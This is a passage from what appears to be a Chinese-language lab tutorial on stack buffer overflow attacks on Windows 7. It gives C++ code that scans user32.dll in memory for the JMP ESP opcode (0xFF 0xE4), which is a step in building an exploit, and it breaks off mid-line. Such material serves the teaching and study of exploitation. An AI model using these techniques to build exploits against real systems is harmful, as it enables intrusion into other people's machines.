缓冲器溢出攻击(一)弹窗
几个实验中使用的的vc快捷键
alt+8(汇编)
alt+6(地址)
JMP ESP
由于使用的环境是Windows 7,WIN7以后, 几个核心dll都是浮动地址加载的, 没有统一的JMP ESP地址,所以我们需要先得到对应的地址
首先我们根据以下的代码段获取
#include <iostream.h>
#include <windows.h>
void main()
{
HINSTANCE hDll;
char dllname[] = "user32.dll";
hDll = LoadLibrary(dllname); //载入user32.dll文件
if(hDll == NULL)
{
cout<<"ERROR LOADING DLL: "<<dllname<<endl;
return; //如果载入失败,就返回
}
BYTE* ptr = (BYTE*)hDll;
bool done = false;
for(int i = 0;!done;i++)
{
try//通过异常处理,显示所有的jmp esp指令地址
{
if(ptr[i] == 0xFF && ptr[i+1] == 0xE4)
//搜索jmp esp ,因为jmp esp的机器码就是0xFFE4
{
int pos = (int)ptr + i;//得到jmp esp指令地址
cout<<